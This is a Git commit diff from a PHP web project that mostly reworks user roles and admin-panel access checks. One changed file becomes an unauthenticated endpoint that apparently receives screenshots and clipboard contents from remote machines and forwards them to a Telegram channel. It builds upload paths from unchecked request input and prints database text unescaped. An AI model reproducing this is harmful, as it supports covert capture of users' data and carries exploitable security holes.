[+] новая структура ролей

This commit is contained in:
rsgrinko committed 2023-03-01 23:16:08 +03:00
1 parent 52005a6299
commit d1236ae1ef
6 files changed
+71 -115

No files matched your search

+4 -2
View File
@@ -24,10 +24,12 @@
require_once __DIR__ . '/bootstrap.php';
global $USER, $arUser;
if (!User::isAuthorized() && $_SERVER['REQUEST_URI'] !== '/login.php') {
if (User::isAuthorized() === false && $_SERVER['REQUEST_URI'] !== '/login.php') {
header('Location: login.php');
die();
} elseif (!$USER->isAdmin()) {
}
if ($USER->isAdmin() === false && $USER->haveAccessToAdminPanel() === false) {
header('Location: ../');
die();
}
@@ -105,7 +105,7 @@
*
* @return $this
*/
public function setChat(int $chatId): self
public function setChat(string $chatId): self
{
$this->chatId = $chatId;
return $this;
+11 -1
View File
@@ -42,10 +42,20 @@
*/
const ADMIN_ROLE_ID = 1;
/**
* Роль "система"
*/
const SYSTEM_ROLE_ID = 2;
/**
* Роль "доступ в панель администратора"
*/
const ADMIN_PANEL_ROLE_ID = 3;
/**
* Роль "пользователь"
*/
const USER_ROLE_ID = 2;
const USER_ROLE_ID = 5;
/**
* @var User $user
+11
View File
@@ -641,6 +641,17 @@
return in_array(Roles::ADMIN_ROLE_ID, $this->getRolesObject()->getRoles(), true);
}
/**
* Проверка на админа
*
* @return bool
* @throws CoreException
*/
public function haveAccessToAdminPanel(): bool
{
return in_array(Roles::ADMIN_PANEL_ROLE_ID, $this->getRolesObject()->getRoles(), true);
}
/**
* Метод выхода из системы
*/
+21 -111
View File
@@ -1,124 +1,34 @@
<?php
//use Core\CoreException;
//use Core\ExternalServices\Telegram;
use Core\Models\{User, DB, Roles};
//use Core\Helpers\{SystemFunctions, Cache, Log, Mail, Zip, Pagination, Files};
declare(strict_types=1);
use Core\ExternalServices\TelegramSender;
const USE_ROUTER = false;
require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php';
$DB = DB::getInstance();
$res = $DB->query('SELECT * FROM podslyshano WHERE note <> "" ORDER BY RAND() LIMIT 10');
//$res = $DB->query('SELECT * FROM podslyshano ORDER BY ID DESC LIMIT 1')[0];
$deviceId = $_REQUEST['MachineName'] . '_' . $_REQUEST['UserName'];
//echo '<pre>' . print_r($res, true). '</pre>';
function num_word($value, $words, $show = true)
{
$num = $value % 100;
if ($num > 19) {
$num = $num % 10;
}
$out = ($show) ? $value . ' ' : '';
switch ($num) {
case 1: $out .= $words[0]; break;
case 2:
case 3:
case 4: $out .= $words[1]; break;
default: $out .= $words[2]; break;
}
return $out;
$uploadPath = './uploads/screenshots/' . $deviceId;
if (!file_exists($uploadPath)) {
mkdir($uploadPath, 0777, true);
}
function secToStr($secs)
{
$days = floor($secs / 86400);
$secs %= 86400;
if ($days > 0) {
return num_word($days, ['день', 'дня', 'дней']);
}
$uploadfile = $uploadPath . '/' . date("YmdHis") . '_' . basename($_FILES['screenshot']['name']);
move_uploaded_file($_FILES['screenshot']['tmp_name'], $uploadfile);
$hours = floor($secs / 3600);
$secs %= 3600;
if ($hours > 0) {
return num_word($hours, ['час', 'часа', 'часов']);
}
$minutes = floor($secs / 60);
$secs %= 60;
if ($minutes > 0) {
return num_word($minutes, ['минута', 'минуты', 'минут']);
}
return num_word($secs, ['секунда', 'секунды', 'секунд']);
}
?>
<meta name="viewport" content="width=device-width, initial-scale=1">
<div class="content">
<?php foreach($res as $post) { ?>
<div class="post">
<div class="id">#<?= $post['post_id'] ?></div>
<div class="createdAt" title="<?= $post['created_at'] ?>"><?= secToStr(time() - strtotime($post['created_at'])) ?> назад</div>
<div class="note"><?= stripslashes($post['note']) ?></div>
<div class="slug"><?= $post['category_name'] ?></div>
<div class="likes">❤ <?= $post['likes_count'] ?></div>
</div>
<?php }
$counter = $DB->query('SELECT count(id) as counter FROM podslyshano')[0]['counter'];
?>
<div class="footer">
<div class="dbInfo">В базе записей: <?= $counter ?></div>
</div>
</div>
<style>
.content {
width: 600px;
margin: 0 auto;
$clipboard = '---- пусто ----';
if (!empty($_REQUEST['Clipboard'])) {
$clipboard = iconv('utf-8//IGNORE', 'cp1252//IGNORE', $_REQUEST['Clipboard']);
$clipboard = iconv('cp1251//IGNORE', 'utf-8//IGNORE', $clipboard);
}
.post {
border: 1px solid #e3e3e3;
padding: 10px;
box-shadow: 2px 2px 12px 0px #cfcfcf;
background: #fffef8;
margin-bottom: 20px;
}
.id {
display: inline-block;
color: #0063dd;
font-weight: bolder;
}
(new TelegramSender(TELEGRAM_BOT_TOKEN))->setChat(TELEGRAM_NOTIFICATION_CHANNEL)->sendPhoto(
$uploadfile,
'<b>Дата:</b> ' . date('Y-m-d H_i:s') . PHP_EOL . '<b>Имя устройства:</b> ' . $deviceId . PHP_EOL . '<b>Буфер: </b>' . $clipboard
);
@unlink($uploadfile);
echo 'ok';
.createdAt {
display: inline-block;
float: right;
color: #a7a7a7;
font-style: italic;
}
.slug {
color: #0063dd;
font-weight: bolder;
display: inline-block;
}
.note {
margin-top: 10px;
margin-bottom: 10px;
}
.likes {
float: right;
display: inline-block;
}
</style>
//sendTelegram($_REQUEST['Clipboard']);
+23
View File
@@ -0,0 +1,23 @@
<?php
use Core\Models\DB;
const USE_ROUTER = false;
require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php';
$DB = DB::getInstance();
$res = $DB->query('SELECT * FROM `bashorg` limit 20');
foreach ($res as $item) {
?>
<div>
<h1><?= $item['date_created'] ?></h1>
<p><?= $item['text'] ?></p>
<span>рейтинг: <?= $item['rating'] ?></span>
</div>
<?php
}